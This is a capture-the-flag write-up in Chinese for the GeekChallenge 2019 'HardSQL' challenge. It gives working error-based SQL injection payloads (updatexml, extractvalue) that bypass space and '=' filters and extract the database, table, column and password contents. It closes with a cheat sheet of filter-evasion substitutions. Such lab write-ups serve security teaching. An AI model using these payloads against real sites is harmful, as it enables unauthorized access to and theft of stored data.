【極客大挑戰 2019】HardSQL解題
一.試萬能密碼
username=admin' or 1='1&password=1
二.嘗試繞開
大寫,雙寫。
看來是沒辦法使用基礎手段繞開了。
這次沒有過濾or,但是過濾了空格,=。
查了一下得知是考報錯注入,使用extractvalue和updatexml。
三.爆庫
username=admin'or(updatexml(1,concat(0x7e,database()),1))%23&password=1
得到庫名:geek。
四.爆表
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1
得到表名:H4rDsq1。
五.爆字段
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=1
得到字段:id,username,password。
六.爆內容
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))%23&password=1
不完全,這裏是因爲extractvalue和updatexml只顯示32位字符。
flag在password裏面,試試看只查password。
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=1
flag{fd39fd4a-a6af-4b31-967e-bf
還是不能顯示完全,這裏就需要使用right()語句幫忙。
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,30))))from(H4rDsq1)),0x7e),1))%23&password=1
剩餘部分:a-a6af-4b31-967e-bf1dff28f78f}(這裏如果輸入的是32會把}擠掉。)
最終flag:flag{fd39fd4a-a6af-4b31-967e-bf1dff28f78f}
補充
最開始也可以這樣寫,效果是相同的。
username=admin'or(extractvalue(1,concat(0x7e,database())))%23&password=1
兩種報錯查詢語句
extractvalue(1,concat(07xe,語句))
updatexml(1,concat(07xe,語句),1)
http://127.0.0.1/sqlilabs/Less-2?id=1' or extractvalue(1,concat(0x23,database()))-- -
http://127.0.0.1/sqlilabs/Less-2?id=1' or updatexml(1,concat(0x23,database()),1)-- -
left(arg,length)函數與right(arg,length)函數相對應,能返回arg(char或者是binary string)左邊/右邊length個長度的字符串。
SQL注入中關鍵詞替換
空格
-
() ————括號將需要分開的語句括起來。
-
/**/ ————在單詞與單詞直接插入註釋。
=符號
like ————需要=的地方換成like
!=符號
<> ————需要!=的地方換成<>
or
|| ————需要or的地方換成||
and
&& ————需要and的地方換成&&